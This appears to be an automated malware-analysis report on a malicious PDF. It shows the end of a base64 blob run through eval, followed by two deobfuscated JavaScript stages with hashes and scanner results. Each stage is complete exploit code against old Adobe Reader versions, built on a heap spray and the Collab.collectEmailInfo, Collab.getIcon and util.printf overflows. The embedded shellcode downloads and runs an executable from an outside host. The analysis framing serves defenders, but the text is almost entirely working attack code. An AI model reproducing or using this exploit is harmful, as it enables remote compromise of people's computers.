IwJTJmJTIwJTU0JTZhJTYyJTY5JTM0JTM5JTVhJTNiJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTZkJTZkJTdhJTM3JTcxJTRlJTU0JTIwJTNkJTIwJTMwJTNiJTIwJTZkJTZkJTdhJTM3JTcxJTRlJTU0JTIwJTNjJTIwJTc2JTY2JTY0JTZmJTcyJTQ5JTVhJTNiJTIwJTZkJTZkJTdhJTM3JTcxJTRlJTU0JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTU3JTcyJTZhJTRmJTQ2JTY4JTViJTZkJTZkJTdhJTM3JTcxJTRlJTU0JTVkJTIwJTNkJTIwJTcyJTQyJTZiJTY0JTMwJTQyJTZlJTIwJTJiJTIwJTQ0JTQzJTM4JTQ3JTUyJTRiJTRkJTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTUxJTZhJTRjJTYyJTM3JTYxJTQ3JTI4JTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY2JTYzJTQ3JTQ0JTQzJTZhJTUwJTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTU1JTRlJTZjJTQxJTcwJTcyJTYyJTI5JTNiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTZmJTdhJTQ1JTUwJTU4JTQyJTU1JTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc2JTc1JTZmJTY0JTc2JTM2JTQ3JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTc2JTc1JTZmJTY0JTc2JTM2JTQ3JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTc2JTc1JTZmJTY0JTc2JTM2JTQ3JTIwJTJiJTNkJTIwJTc2JTc1JTZmJTY0JTc2JTM2JTQ3JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc1JTQxJTczJTRiJTQ5JTQzJTZkJTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc0JTcwJTM1JTc5JTQxJTY2JTRlJTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc1JTQxJTczJTRiJTQ5JTQzJTZkJTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTc0JTcwJTM1JTc5JTQxJTY2JTRlJTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTc2JTc1JTZmJTY0JTc2JTM2JTQ3JTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZmJTdhJTQ1JTUwJTU4JTQyJTU1JTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTIwJTJiJTNkJTIwJTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUwJTZiJTRjJTQyJTM3JTcxJTY4JTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTUwJTZiJTRjJTQyJTM3JTcxJTY4JTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTQ3JTM4JTUxJTQ5JTc1JTc1JTQ4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTYzJTQ3JTQ0JTQzJTZhJTUwJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTYzJTQ3JTQ0JTQzJTZhJTUwJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTYzJTQ3JTQ0JTQzJTZhJTUwJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTY2JTYzJTQ3JTQ0JTQzJTZhJTUwJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTQ2JTRhJTZmJTUwJTYxJTM5JTYzJTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZmJTdhJTQ1JTUwJTU4JTQyJTU1JTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY1JTU5JTM1JTZiJTUwJTZlJTdhJTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTRkJTMwJTRkJTdhJTRlJTc5JTZiJTIwJTNkJTIwJTMwJTNiJTIwJTRkJTMwJTRkJTdhJTRlJTc5JTZiJTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTRkJTMwJTRkJTdhJTRlJTc5JTZiJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTU5JTM1JTZiJTUwJTZlJTdhJTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZjJTZhJTUxJTU1JTM3JTVhJTM3JTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTZjJTZhJTUxJTU1JTM3JTVhJTM3JTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTY1JTU5JTM1JTZiJTUwJTZlJTdhJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTdkJTIwJTdkJTIwIikpOyAKIGFwcC5Eek9GdlhNID0gUWpMYjdhRzsKIFVObEFwcmIgPSBhcHAuc2V0VGltZU91dCgiYXBwLkR6T0Z2WE0oKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 | 4834 bytes |
SHA-256: b005c9a741fe3e3588ea23661e79e50daba26a51ead6a1834446c773c8f35f67 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var FWrjOFh = new Array();
var UNlAprb;
var lave = eval;
lave(unescape(" function b7PUKCI(rBkd0Bn, RqKbBmJ) { while(rBkd0Bn.length * 2 < RqKbBmJ) { rBkd0Bn += rBkd0Bn; } rBkd0Bn = rBkd0Bn.substring(0, RqKbBmJ / 2); return rBkd0Bn; } ")); lave(unescape(" function ozEPXBU(c7eCUOQ) { if(c7eCUOQ == 0) { var aGknOIK = 0x0c0c0c0c; var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(c7eCUOQ == 1) { aGknOIK = 0x30303030; var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(c7eCUOQ == 2) { var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var Tjbi49Z = 0x400000; var IZyCRk5 = DC8GRKM.length * 2; var RqKbBmJ = Tjbi49Z - (IZyCRk5 + 0x38); var rBkd0Bn = unescape("%u9090%u9090"); rBkd0Bn = b7PUKCI(rBkd0Bn, RqKbBmJ); var vfdorIZ = (aGknOIK - 0x400000) / Tjbi49Z; for(var mmz7qNT = 0; mmz7qNT < vfdorIZ; mmz7qNT++) { FWrjOFh[mmz7qNT] = rBkd0Bn + DC8GRKM; } } ")); lave(unescape(" function QjLb7aG() { var fcGDCjP = 0; var FJoPa9c = app.viewerVersion.toString(); app.clearTimeOut(UNlAprb); if((FJoPa9c >= 8 && FJoPa9c < 8.102) || FJoPa9c < 7.1) { ozEPXBU(0); var vuodv6G = unescape("%u0c0c%u0c0c"); while(vuodv6G.length < 44952) vuodv6G += vuodv6G; var uAsKICm = this; var tp5yAfN = Collab; uAsKICm["collabStore"] = tp5yAfN["collectEmailInfo"]( { subj : "", msg : vuodv6G } ); } if((FJoPa9c >= 8.102 && FJoPa9c < 8.104) || (FJoPa9c >= 9 && FJoPa9c < 9.1) || FJoPa9c <= 7.101) { try { if(app.doc.Collab.getIcon) { ozEPXBU(2); var G8QIuuH = unescape("%09"); while(G8QIuuH.length < 0x4000) { G8QIuuH += G8QIuuH; } G8QIuuH = "N." + G8QIuuH; var PkLB7qh = app; PkLB7qh["doc"]["Collab"]["getIcon"](G8QIuuH); fcGDCjP = 1; } else { fcGDCjP = 1; } } catch(e) { fcGDCjP = 1; } if(fcGDCjP == 1) { if(FJoPa9c == 8.102 || FJoPa9c == 7.1) { ozEPXBU(1); var eY5kPnz = "12999999999999999999"; for(M0MzNyk = 0; M0MzNyk < 276; M0MzNyk++) { eY5kPnz += "8"; } var ljQU7Z7 = util; ljQU7Z7["printf"]("%45000f", eY5kPnz); } } } } "));
app.DzOFvXM = QjLb7aG;
UNlAprb = app.setTimeOut("app.DzOFvXM()", 1);
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 | 4830 bytes |
SHA-256: c44f0bdb5ba8df0e1c79e00b5474bc12f8cfca549c0da117b953536e8f6f77d7 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var FWrjOFh = new Array();
var UNlAprb;
var lave = eval;
lave(unescape(" function b7PUKCI(rBkd0Bn, RqKbBmJ) { while(rBkd0Bn.length * 2 < RqKbBmJ) { rBkd0Bn += rBkd0Bn; } rBkd0Bn = rBkd0Bn.substring(0, RqKbBmJ / 2); return rBkd0Bn; } ")); lave(unescape(" function ozEPXBU(c7eCUOQ) { if(c7eCUOQ == 0) { var aGknOIK = 0x0c0c0c0c; var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(c7eCUOQ == 1) { aGknOIK = 0x30303030; var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(c7eCUOQ == 2) { var DC8GRKM = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var Tjbi49Z = 0x400000; var IZyCRk5 = DC8GRKM.length * 2; var RqKbBmJ = Tjbi49Z - (IZyCRk5 + 0x38); var rBkd0Bn = unescape("%u9090%u9090"); rBkd0Bn = b7PUKCI(rBkd0Bn, RqKbBmJ); var vfdorIZ = (aGknOIK - 0x400000) / Tjbi49Z; for(var mmz7qNT = 0; mmz7qNT < vfdorIZ; mmz7qNT++) { FWrjOFh[mmz7qNT] = rBkd0Bn + DC8GRKM; } } ")); lave(unescape(" function QjLb7aG() { var fcGDCjP = 0; var FJoPa9c = app.viewerVersion.toString(); app.clearTimeOut(UNlAprb); if((FJoPa9c >= 8 && FJoPa9c < 8.102) || FJoPa9c < 7.1) { ozEPXBU(0); var vuodv6G = unescape("%u0c0c%u0c0c"); while(vuodv6G.length < 44952) vuodv6G += vuodv6G; var uAsKICm = this; var tp5yAfN = Collab; uAsKICm["collabStore"] = tp5yAfN["collectEmailInfo"]( { subj : "", msg : vuodv6G } ); } if((FJoPa9c >= 8.102 && FJoPa9c < 8.104) || (FJoPa9c >= 9 && FJoPa9c < 9.1) || FJoPa9c <= 7.101) { try { if(app.doc.Collab.getIcon) { ozEPXBU(2); var G8QIuuH = unescape(" "); while(G8QIuuH.length < 0x4000) { G8QIuuH += G8QIuuH; } G8QIuuH = "N." + G8QIuuH; var PkLB7qh = app; PkLB7qh["doc"]["Collab"]["getIcon"](G8QIuuH); fcGDCjP = 1; } else { fcGDCjP = 1; } } catch(e) { fcGDCjP = 1; } if(fcGDCjP == 1) { if(FJoPa9c == 8.102 || FJoPa9c == 7.1) { ozEPXBU(1); var eY5kPnz = "12999999999999999999"; for(M0MzNyk = 0; M0MzNyk < 276; M0MzNyk++) { eY5kPnz += "8"; } var ljQU7Z7 = util; ljQU7Z7["printf"]("E000f", eY5kPnz); } } } } "));
app.DzOFvXM = QjLb7aG;
UNlAprb = app.setTimeOut("app.DzOFvXM()", 1);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.